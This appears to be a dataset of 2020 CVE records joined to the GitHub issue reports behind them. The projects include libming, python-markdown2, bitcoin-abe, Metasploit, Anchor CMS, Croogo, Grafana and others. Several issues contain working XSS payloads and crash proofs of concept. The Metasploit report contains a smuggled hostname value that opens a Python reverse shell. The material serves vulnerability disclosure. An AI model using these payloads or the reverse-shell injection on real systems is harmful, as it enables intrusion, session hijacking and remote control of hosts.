[ "Exploit", "Third Party Advisory" ]

github.com

[ "libming", "libming" ]

./swftocxx $poc [segmentaion_fault_decompile_569-out_of_bound-idx:0x1199-0xb.zip](https://github.com/libming/libming/files/4490660/segmentaion_fault_decompile_569-out_of_bound-idx.0x1199-0xb.zip) ``` root@ubuntu:/home/tim/libming/util# ../../libming-asan/util/swftocxx overflows/segmentaion_fault_decompile_569-out_of_bound-idx\:0x1199-0xb header indicates a filesize of 1484 but filesize is 228 #include <mingpp.h> main(){ SWFMovie* m = new SWFMovie(10); Ming_setScale(1.0); m->setRate(24.000000); m->setDimension(-9480, 8000); // SWF_PLACEOBJECT3 Stream out of sync after parse of blocktype 12 (SWF_DOACTION). 223 but expecting 200. // SWF_DOACTION ================================================================= ==3097==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d0000008a8 at pc 0x5645c2842407 bp 0x7fffda6e8470 sp 0x7fffda6e8460 READ of size 8 at 0x61d0000008a8 thread T0 #0 0x5645c2842406 in decompileIF /home/tim/libming-asan/util/decompile.c:2473 #1 0x5645c2846ea3 in decompileAction /home/tim/libming-asan/util/decompile.c:3335 #2 0x5645c284732e in decompileActions /home/tim/libming-asan/util/decompile.c:3494 #3 0x5645c28467ee in decompileSETTARGET /home/tim/libming-asan/util/decompile.c:3169 #4 0x5645c284725e in decompileAction /home/tim/libming-asan/util/decompile.c:3465 #5 0x5645c284732e in decompileActions /home/tim/libming-asan/util/decompile.c:3494 #6 0x5645c2840d13 in decompile_SWITCH /home/tim/libming-asan/util/decompile.c:2235 #7 0x5645c2842f7b in decompileIF /home/tim/libming-asan/util/decompile.c:2594 #8 0x5645c2846ea3 in decompileAction /home/tim/libming-asan/util/decompile.c:3335 #9 0x5645c284732e in decompileActions /home/tim/libming-asan/util/decompile.c:3494 #10 0x5645c2847464 in decompile5Action /home/tim/libming-asan/util/decompile.c:3517 #11 0x5645c283348e in outputSWF_DOACTION /home/tim/libming-asan/util/outputscript.c:1551 #12 0x5645c2835a92 in outputBlock /home/tim/libming-asan/util/outputscript.c:2083 #13 0x5645c2836b88 in readMovie /home/tim/libming-asan/util/main.c:281 #14 0x5645c2837322 in main /home/tim/libming-asan/util/main.c:354 #15 0x7fbdee9fcb6a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x26b6a) #16 0x5645c2829469 in _start (/home/tim/libming-asan/util/.libs/swftocxx+0x14469) 0x61d0000008a8 is located 8 bytes to the right of 2080-byte region [0x61d000000080,0x61d0000008a0) allocated by thread T0 here: #0 0x7fbdeef4f63e in calloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10c63e) #1 0x5645c2842e26 in decompileIF /home/tim/libming-asan/util/decompile.c:2587 #2 0x5645c2846ea3 in decompileAction /home/tim/libming-asan/util/decompile.c:3335 #3 0x5645c284732e in decompileActions /home/tim/libming-asan/util/decompile.c:3494 #4 0x5645c2847464 in decompile5Action /home/tim/libming-asan/util/decompile.c:3517 #5 0x5645c283348e in outputSWF_DOACTION /home/tim/libming-asan/util/outputscript.c:1551 #6 0x5645c2835a92 in outputBlock /home/tim/libming-asan/util/outputscript.c:2083 #7 0x5645c2836b88 in readMovie /home/tim/libming-asan/util/main.c:281 #8 0x5645c2837322 in main /home/tim/libming-asan/util/main.c:354 #9 0x7fbdee9fcb6a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x26b6a) SUMMARY: AddressSanitizer: heap-buffer-overflow /home/tim/libming-asan/util/decompile.c:2473 in decompileIF Shadow bytes around the buggy address: 0x0c3a7fff80c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3a7fff80d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3a7fff80e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3a7fff80f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3a7fff8100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c3a7fff8110: 00 00 00 00 fa[fa]fa fa fa fa fa fa fa fa fa fa 0x0c3a7fff8120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3a7fff8130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3a7fff8140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3a7fff8150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3a7fff8160: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==3097==ABORTING ```

heap overflow in decompileIF decompile.c:2473

https://api.github.com/repos/libming/libming/issues/196/comments

0

2020-04-17T02:47:07Z

https://github.com/libming/libming/issues/196

601,663,070

196

1,174

CVE-2020-11895

2020-04-19T19:15:12.977

Ming (aka libming) 0.4.8 has a heap-based buffer over-read (2 bytes) in the function decompileIF() in decompile.c.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.4, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 4.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.1, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.2, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/libming/libming/issues/197" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/libming/libming/issues/197" } ]

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[ "125" ]

125

https://github.com/libming/libming/issues/197

[ "Exploit", "Third Party Advisory" ]

github.com

[ "libming", "libming" ]

./swftocxx $poc [segmentaion_fault_decompile_569-out_of_bound-idx:0x1186-0x10.zip](https://github.com/libming/libming/files/4490668/segmentaion_fault_decompile_569-out_of_bound-idx.0x1186-0x10.zip) ``` root@ubuntu:/home/tim/libming/util# ../../libming-asan/util/swftocxx overflows/segmentaion_fault_decompile_569-out_of_bound-idx\:0x1186-0x10 header indicates a filesize of 1484 but filesize is 228 #include <mingpp.h> main(){ SWFMovie* m = new SWFMovie(10); Ming_setScale(1.0); m->setRate(24.000000); m->setDimension(-9480, 8000); // SWF_PLACEOBJECT3 Stream out of sync after parse of blocktype 12 (SWF_DOACTION). 223 but expecting 200. // SWF_DOACTION ================================================================= ==3292==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61f000000c70 at pc 0x561ec3153e3b bp 0x7fff7af46a10 sp 0x7fff7af46a00 READ of size 2 at 0x61f000000c70 thread T0 #0 0x561ec3153e3a in decompileIF /home/tim/libming-asan/util/decompile.c:2436 #1 0x561ec3158ea3 in decompileAction /home/tim/libming-asan/util/decompile.c:3335 #2 0x561ec315932e in decompileActions /home/tim/libming-asan/util/decompile.c:3494 #3 0x561ec3152d13 in decompile_SWITCH /home/tim/libming-asan/util/decompile.c:2235 #4 0x561ec3154f7b in decompileIF /home/tim/libming-asan/util/decompile.c:2594 #5 0x561ec3158ea3 in decompileAction /home/tim/libming-asan/util/decompile.c:3335 #6 0x561ec315932e in decompileActions /home/tim/libming-asan/util/decompile.c:3494 #7 0x561ec3159464 in decompile5Action /home/tim/libming-asan/util/decompile.c:3517 #8 0x561ec314548e in outputSWF_DOACTION /home/tim/libming-asan/util/outputscript.c:1551 #9 0x561ec3147a92 in outputBlock /home/tim/libming-asan/util/outputscript.c:2083 #10 0x561ec3148b88 in readMovie /home/tim/libming-asan/util/main.c:281 #11 0x561ec3149322 in main /home/tim/libming-asan/util/main.c:354 #12 0x7faeb56eab6a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x26b6a) #13 0x561ec313b469 in _start (/home/tim/libming-asan/util/.libs/swftocxx+0x14469) 0x61f000000c70 is located 16 bytes to the right of 3040-byte region [0x61f000000080,0x61f000000c60) allocated by thread T0 here: #0 0x7faeb5c3d63e in calloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10c63e) #1 0x561ec3154e26 in decompileIF /home/tim/libming-asan/util/decompile.c:2587 #2 0x561ec3158ea3 in decompileAction /home/tim/libming-asan/util/decompile.c:3335 #3 0x561ec315932e in decompileActions /home/tim/libming-asan/util/decompile.c:3494 #4 0x561ec3159464 in decompile5Action /home/tim/libming-asan/util/decompile.c:3517 #5 0x561ec314548e in outputSWF_DOACTION /home/tim/libming-asan/util/outputscript.c:1551 #6 0x561ec3147a92 in outputBlock /home/tim/libming-asan/util/outputscript.c:2083 #7 0x561ec3148b88 in readMovie /home/tim/libming-asan/util/main.c:281 #8 0x561ec3149322 in main /home/tim/libming-asan/util/main.c:354 #9 0x7faeb56eab6a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x26b6a) SUMMARY: AddressSanitizer: heap-buffer-overflow /home/tim/libming-asan/util/decompile.c:2436 in decompileIF Shadow bytes around the buggy address: 0x0c3e7fff8130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3e7fff8140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3e7fff8150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3e7fff8160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3e7fff8170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c3e7fff8180: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa[fa]fa 0x0c3e7fff8190: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3e7fff81a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3e7fff81b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3e7fff81c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3e7fff81d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==3292==ABORTING root@ubuntu:/home/tim/libming/util# ```

heap overflow in decompileIF decompile.c:2436

https://api.github.com/repos/libming/libming/issues/197/comments

0

2020-04-17T02:50:13Z

https://github.com/libming/libming/issues/197

601,663,990

197

1,175

CVE-2020-11888

2020-04-20T16:15:14.430

python-markdown2 through 2.3.8 allows XSS because element names are mishandled unless a \w+ match succeeds. For example, an attack might use elementname@ or elementname- with an onclick attribute.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

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[ "79" ]

79

https://github.com/trentm/python-markdown2/issues/348

[ "Exploit", "Third Party Advisory" ]

github.com

[ "trentm", "python-markdown2" ]

On the latest release (2.3.8) a payload like this one can lead to xss and bypass safe_mode when set to true. `<lol@/ //id="pwn"//onclick="alert(1)"//**abc**` The Problem: I think its due to just bad regex's not detecting non alphanumeric tags. ![poc](https://i.imgur.com/AxUNPC9.png)

Another Filter bypass leading to XSS

https://api.github.com/repos/trentm/python-markdown2/issues/348/comments

12

2020-04-13T00:38:25Z

2020-05-12T00:09:25Z

https://github.com/trentm/python-markdown2/issues/348

598,605,834

348

1,176

CVE-2020-11944

2020-04-20T22:15:13.650

Abe (aka bitcoin-abe) through 0.7.2, and 0.8pre, allows XSS in __call__ in abe.py because the PATH_INFO environment variable is mishandled during a PageNotFound exception.

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[ { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://geeknik-labs.com" }, { "source": "cve@mitre.org", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/bitcoin-abe/bitcoin-abe/blob/d33f6e85de74e708e11cabe4ed0246e12025c726/Abe/abe.py#L253-L254" }, { "source": "cve@mitre.org", "tags": [ "Broken Link" ], "url": "https://github.com/bitcoin-abe/bitcoin-abe/issues/292" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://geeknik-labs.com" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/bitcoin-abe/bitcoin-abe/blob/d33f6e85de74e708e11cabe4ed0246e12025c726/Abe/abe.py#L253-L254" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Broken Link" ], "url": "https://github.com/bitcoin-abe/bitcoin-abe/issues/292" } ]

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[ "79" ]

79

https://github.com/bitcoin-abe/bitcoin-abe/issues/292

[ "Broken Link" ]

github.com

[ "bitcoin-abe", "bitcoin-abe" ]

A lack of filtering around line 253 of abe.py ``` except PageNotFound: page['status'] = '404 Not Found' page['body'] = ['<p class="error">Sorry, ', env['SCRIPT_NAME'], env['PATH_INFO'], ' does not exist on this server.</p>'] ``` allows attackers to abuse the Page Not Found error handler and pass rogue JavaScript to unsuspecting users using a specially crafted URL: `https://host.name/<img src=x onerror=alert(document.cookie)>">` MITRE has assigned [CVE-2020-11944](https://nvd.nist.gov/vuln/detail/CVE-2020-11944) to this flaw. Thank you.

Page Not Found Handler Cross-site Scripting -- CVE-2020-11944

https://api.github.com/repos/bitcoin-abe/bitcoin-abe/issues/292/comments

6

2020-04-20T21:24:43Z

2021-02-13T02:44:03Z

https://github.com/bitcoin-abe/bitcoin-abe/issues/292

603,545,408

292

1,177

CVE-2020-5268

2020-04-21T17:15:13.053

In Saml2 Authentication Services for ASP.NET versions before 1.0.2, and between 2.0.0 and 2.6.0, there is a vulnerability in how tokens are validated in some cases. Saml2 tokens are usually used as bearer tokens - a caller that presents a token is assumed to be the subject of the token. There is also support in the Saml2 protocol for issuing tokens that is tied to a subject through other means, e.g. holder-of-key where possession of a private key must be proved. The Sustainsys.Saml2 library incorrectly treats all incoming tokens as bearer tokens, even though they have another subject confirmation method specified. This could be used by an attacker that could get access to Saml2 tokens with another subject confirmation method than bearer. The attacker could then use such a token to create a log in session. This vulnerability is patched in versions 1.0.2 and 2.7.0.

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[ "287" ]

287

https://github.com/Sustainsys/Saml2/issues/712

[ "Third Party Advisory" ]

github.com

[ "Sustainsys", "Saml2" ]

The issuer in the saml response is used to retreive signin keys and it is thus properly validated that the issuer of the response has access to the signing keys. The issuer in the assertion should also be validated, otherwise a malicious idp could craft a response where the assertion issuer identifies another Idp. It is the assertion issuer that is used to create the issuer property of the issued claims. The issuer should also be validated against the issuer identified in the stored request state to prevent substition of encrypted request state.

Issuer Validation

https://api.github.com/repos/Sustainsys/Saml2/issues/712/comments

0

2017-05-09T17:08:02Z

2023-09-19T10:34:33Z

https://github.com/Sustainsys/Saml2/issues/712

227,434,908

712

1,178

CVE-2020-7350

2020-04-22T22:15:12.450

Rapid7 Metasploit Framework versions before 5.0.85 suffers from an instance of CWE-78: OS Command Injection, wherein the libnotify plugin accepts untrusted user-supplied data via a remote computer's hostname or service name. An attacker can create a specially-crafted hostname or service name to be imported by Metasploit from a variety of sources and trigger a command injection on the operator's terminal. Note, only the Metasploit Framework and products that expose the plugin system is susceptible to this issue -- notably, this does not include Rapid7 Metasploit Pro. Also note, this vulnerability cannot be triggered through a normal scan operation -- the attacker would have to supply a file that is processed with the db_import command.

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[ { "source": "cve@rapid7.com", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/rapid7/metasploit-framework/issues/13026" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/rapid7/metasploit-framework/issues/13026" } ]

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[ "78" ]

78

https://github.com/rapid7/metasploit-framework/issues/13026

[ "Exploit", "Third Party Advisory" ]

github.com

[ "rapid7", "metasploit-framework" ]

the plugin libnotify has a command injection vulnerability which could be triggered when the client imports info as hostnames or services specially crafted from another tool The impact is low because is not possible to tamper the hostname when the client runs a scan with nmap for example in the libnotify's callback of db_host: ``` ruby def on_db_host(host) notify_send('normal', 'New host', "Addess: #{host.address}\nOS: #{host.os_name}") end ``` if we could tamper the field os_name, this data lands in a call to system in notify-send in order to display the notification ``` def notify_send(urgency, title, message) system("#{@bin} #{@bin_opts} -u #{urgency} '#{title}' '#{message}'") end ``` ## Steps to reproduce How'd you do it? 1. load the plugin: ``` msf5 > load libnotify [*] Successfully loaded plugin: libnotify ``` 2. Now if we import the hosts' info from another tool (as faraday, openvas or nessus) and we don't have limitations in the hostname field, the importer plugin will run our field without sanitizing the plugin will run something similar to: ``` msf5 > irb [*] Starting IRB shell... [*] You are in the "framework" object >> db.find_or_create_host(:workspace => 'pepe', :host => '192.168.6.16', :state => Msf::HostState::Alive, :os_name => 'BEGIN\'; python -c \'import socket ,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.f ileno(),2);p=subprocess.call(["/bin/sh","-i"])') ``` in this case, I made a little PoC running a reverse shell in another port the impact is really low because tools as nmap filter the hostname based on the fingerprint of the OS so is not easy to trigger the bug in a scan for example, but in a plugin importer could be fit

possible vulnerability in libnotify

https://api.github.com/repos/rapid7/metasploit-framework/issues/13026/comments

4

2020-03-04T17:31:41Z

2020-04-16T21:30:12Z

https://github.com/rapid7/metasploit-framework/issues/13026

575,604,106

13,026

1,179

CVE-2020-12071

2020-04-23T02:15:11.407

Anchor 0.12.7 allows admins to cause XSS via crafted post content.

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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/anchorcms/anchor-cms/issues/1333" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/anchorcms/anchor-cms/issues/1333" } ]

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[ "79" ]

79

https://github.com/anchorcms/anchor-cms/issues/1333

[ "Exploit", "Third Party Advisory" ]

github.com

[ "anchorcms", "anchor-cms" ]

### Summary A user is able to inject JavaScript into a post via the post creation feature. ### Expected Behaviour The CMS should HTML encode any inputted data so it is reflected back safely to the user. ### Actual Behaviour The CMS reflects back the post content without HTML encoding, meaning the client browser renders it as valid HTML / JS on the main page, and on that posts page. This can lead to malicious javascript being executed on anyone who visits the site's browser. ### Context details (if applicable) - Anchor version: 0.12.7 - Server setup: Ubuntu running apache2 and PHP 7.2 - Reproduction: 1. Login to admin panel. 2. Create a blog post where the post title can be anything, and post content is an XSS payload, in my case, I used `<script>alert(1);</script>`. 3. Go to the main page to trigger the payload, alternatively, go to the blog post created in the previous step, this too shall trigger the payload. ![Screenshot from 2020-04-22 20-05-33](https://user-images.githubusercontent.com/61525295/80023002-cb7b2580-84d4-11ea-934d-f53ccbc42abc.png) As we can see in the blog post source, the title and category are both HTML encoded before being reflected back to the user, although, the post content is not, and our browser renders our JS as valid code. ![Screenshot from 2020-04-22 20-07-05](https://user-images.githubusercontent.com/61525295/80023062-e0f04f80-84d4-11ea-9957-68985a359404.png)

Stored Cross Site Scripting vulnerability exists in post content.

https://api.github.com/repos/anchorcms/anchor-cms/issues/1333/comments

4

2020-04-22T19:08:17Z

2020-04-29T23:07:47Z

https://github.com/anchorcms/anchor-cms/issues/1333

604,994,344

1,333

1,180

CVE-2020-12079

2020-04-23T04:15:13.343

Beaker before 0.8.9 allows a sandbox escape, enabling system access and code execution. This occurs because Electron context isolation is not used, and therefore an attacker can conduct a prototype-pollution attack against the Electron internal messaging API.

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[ "1321" ]

1321

https://github.com/beakerbrowser/beaker/issues/1519

[ "Third Party Advisory" ]

github.com

[ "beakerbrowser", "beaker" ]

hello, I've find a critical vulnerability inside beaker browser, and have sent you details of this vulnerability by sending email to @pfrazee . Please check it and feel free to contact me.

Critical security issue [solved in 0.8.9] [CVE-2020-12079]

https://api.github.com/repos/beakerbrowser/beaker/issues/1519/comments

9

2020-03-10T08:47:37Z

2020-04-28T21:27:31Z

https://github.com/beakerbrowser/beaker/issues/1519

578,422,250

1,519

1,181

CVE-2020-11004

2020-04-24T21:15:13.747

SQL Injection was discovered in Admidio before version 3.3.13. The main cookie parameter is concatenated into a SQL query without any input validation/sanitization, thus an attacker without logging in, can send a GET request with arbitrary SQL queries appended to the cookie parameter and execute SQL queries. The vulnerability impacts the confidentiality of the system. This has been patched in version 3.3.13.

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[ "89" ]

89

https://github.com/Admidio/admidio/issues/908

[ "Third Party Advisory" ]

github.com

[ "Admidio", "admidio" ]

Hi, I want to report a critical vulnerability in Admidio management system. Can you please start a security advisory in the security section and add me to it, so we can discuss the vulnerability privately?

Unauthenticated Blind SQL injection

https://api.github.com/repos/Admidio/admidio/issues/908/comments

2

2020-04-06T12:29:36Z

2020-04-12T19:29:26Z

https://github.com/Admidio/admidio/issues/908

595,075,321

908

1,182

CVE-2019-20789

2020-04-26T17:15:11.040

Croogo before 3.0.7 allows XSS via the title to admin/menus/menus or admin/taxonomy/vocabularies.

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[ "79" ]

79

https://github.com/croogo/croogo/issues/940

[ "Exploit", "Third Party Advisory" ]

github.com

[ "croogo", "croogo" ]

URL：http://10.211.55.7/croogo-3.0.5/admin/menus/menus Payload:<img src=0 onerror=alert(/XSS/)> parameter：title ![15748644873265](https://user-images.githubusercontent.com/30080697/69732081-f6e82700-1165-11ea-82fb-57771e2c8b2a.jpg) ![15748645130360](https://user-images.githubusercontent.com/30080697/69732131-08313380-1166-11ea-9f88-716fbe03383b.jpg) URL:http://10.211.55.7/croogo-3.0.5/admin/taxonomy/vocabularies Payload:<img src=0 onerror=alert(/XSS9/)> parameter:title ![15748649356954](https://user-images.githubusercontent.com/30080697/69732153-11ba9b80-1166-11ea-974b-8738a3867de4.jpg) ![15748648788481](https://user-images.githubusercontent.com/30080697/69732185-24cd6b80-1166-11ea-84ba-4d444a3782d1.jpg)

Croogo-3.0.5 Cms Has Multiple Stored XSS Vulnerabilities

https://api.github.com/repos/croogo/croogo/issues/940/comments

1

2019-11-27T14:35:29Z

2019-11-28T00:17:24Z

https://github.com/croogo/croogo/issues/940

529,385,356

940

1,183

CVE-2020-10944

2020-04-28T14:15:14.173

HashiCorp Nomad and Nomad Enterprise up to 0.10.4 contained a cross-site scripting vulnerability such that files from a malicious workload could cause arbitrary JavaScript to execute in the web UI. Fixed in 0.10.5.

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79

https://github.com/hashicorp/nomad/issues/7468

[ "Patch", "Third Party Advisory" ]

github.com

[ "hashicorp", "nomad" ]

## Nomad - Stored XSS in Raw File View **Vulnerability ID**: CVE-2020-10944 **Release Date**: March 24th, 2020 **Affected Products/Versions**: Previous versions of Nomad and Nomad Enterprise; fixed in 0.10.5 A vulnerability was identified in Nomad and Nomad Enterprise (“Nomad”) such that files from a malicious workload could cause arbitrary JavaScript to execute in the web UI. This vulnerability affects all Nomad versions since 0.3, and is fixed in the 0.10.5 release. This document outlines details about this vulnerability and describes steps for remediation. ### Background The files within workloads can be accessed from the Nomad API or UI to enable operators to inspect the filesystem of their running allocations. ### Vulnerability Details An internal security review identified a vulnerability such that it was possible to inject JavaScript from a malicious workload in the cluster. When this file is viewed in its raw form from the API or UI, this will execute in the browser. ### Remediation Customers should upgrade to Nomad or Nomad Enterprise 0.10.5, or newer. Please refer to Upgrading Nomad for general guidance and version-specific upgrade notes. Please contact support@hashicorp.com with any questions or security@hashicorp.com to report any security vulnerability or issue.

Stored XSS in Raw File View

https://api.github.com/repos/hashicorp/nomad/issues/7468/comments

1

2020-03-24T15:29:53Z

2022-11-11T02:33:27Z

https://github.com/hashicorp/nomad/issues/7468

587,046,912

7,468

1,185

CVE-2020-12102

2020-04-28T21:15:11.773

In Tiny File Manager 2.4.1, there is a Path Traversal vulnerability in the ajax recursive directory listing functionality. This allows authenticated users to enumerate directories and files on the filesystem (outside of the application scope).

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[ "22" ]

22

https://github.com/prasathmani/tinyfilemanager/issues/357

null

github.com

[ "prasathmani", "tinyfilemanager" ]

hi, are you aware of this? https://www.quantumleap.it/tiny-file-manager-path-traversal-recursive-directory-listing-and-absolute-path-file-backup-copy/ see also other mentions: https://www.google.com/search?newwindow=1&sxsrf=ALeKk0025t2B-Upsat5D1t8HcK2-iLWyTw%3A1582747077534&ei=xc1WXs2dIMSYkwWvyqGICQ&q=tiny%20file%20manager%20vulnerabilities

security breaches in tiny file manager

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3

2020-05-11T04:33:34Z

2020-05-19T19:00:49Z

https://github.com/prasathmani/tinyfilemanager/issues/357

615,579,802

357

1,186

CVE-2018-21232

2020-04-29T14:15:14.417

re2c before 2.0 has uncontrolled recursion that causes stack consumption in find_fixed_tags.

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674

https://github.com/skvadrik/re2c/issues/219

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "skvadrik", "re2c" ]

Factoring out the issue of https://github.com/skvadrik/re2c/issues/215#issuecomment-418584435 On small stack systems (`ulimit -s 256`) `overflow-1.re` test fails: ``` $ ./autogen.sh $ ulimit -s 256 $ make $ LANG=C make check VERBOSE=1 ... ./run_tests.sh: line 111: 17604 Segmentation fault (core dumped) $valgrind $wine ../../$re2c $switches "$outx" 2> "$outc.stderr" 1>&2 FAIL overflow-1.re ... Error: 1 out 1409 tests failed. ```

overflow-1.re test fails on system with small stack

https://api.github.com/repos/skvadrik/re2c/issues/219/comments

5

2018-09-05T07:12:10Z

2022-07-25T07:36:53Z

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CVE-2020-12458

2020-04-29T16:15:11.760

An information-disclosure flaw was found in Grafana through 6.7.3. The database directory /var/lib/grafana and database file /var/lib/grafana/grafana.db are world readable. This can result in exposure of sensitive information (e.g., cleartext or encrypted datasource passwords).

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[ "732" ]

732

https://github.com/grafana/grafana/issues/8283

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "grafana", "grafana" ]

It looks like in https://github.com/grafana/grafana/issues/2126 there were plans to lock down the sqlite DB to 0600. While grafana.ini did get locked down, the DB did not. Unless this is no longer believed to be necessary I could try to send a PR. - What Grafana version are you using? 4.2.0 - What datasource are you using? InfluxDB - What OS are you running grafana on? CentOS 7.3.1611 - What did you do? Logged into grafana.db as a regular user - What was the expected result? Permission denied - What happened instead? Logged in without issue, able to query salt and password for users ``` [vagrant@monitoring ~]$ less /etc/grafana/grafana.ini /etc/grafana/grafana.ini: Permission denied [vagrant@monitoring ~]$ sqlite3 /var/lib/grafana/grafana.db SQLite version 3.7.17 2013-05-20 00:56:22 Enter ".help" for instructions Enter SQL statements terminated with a ";" sqlite> select salt, password from user; SALT|PW [vagrant@noc-monitoring ~]$ sudo yum info grafana Loaded plugins: fastestmirror Loading mirror speeds from cached hostfile * base: centos.chi.host-engine.com * extras: mirror.sigmanet.com * updates: mirror.sigmanet.com Installed Packages Name : grafana Arch : x86_64 Version : 4.2.0 Release : 1 Size : 128 M Repo : installed From repo : grafana Summary : Grafana URL : https://grafana.com License : "Apache 2.0" Description : Grafana ```

[Bug] Wrong permissions in grafana package for grafana.db

https://api.github.com/repos/grafana/grafana/issues/8283/comments

8

2017-05-03T16:54:15Z

2020-08-20T12:59:04Z

https://github.com/grafana/grafana/issues/8283

226,050,010

8,283

1,188

CVE-2020-12477

2020-04-29T22:15:12.577

The REST API functions in TeamPass 2.1.27.36 allow any user with a valid API token to bypass IP address whitelist restrictions via an X-Forwarded-For client HTTP header to the getIp function.

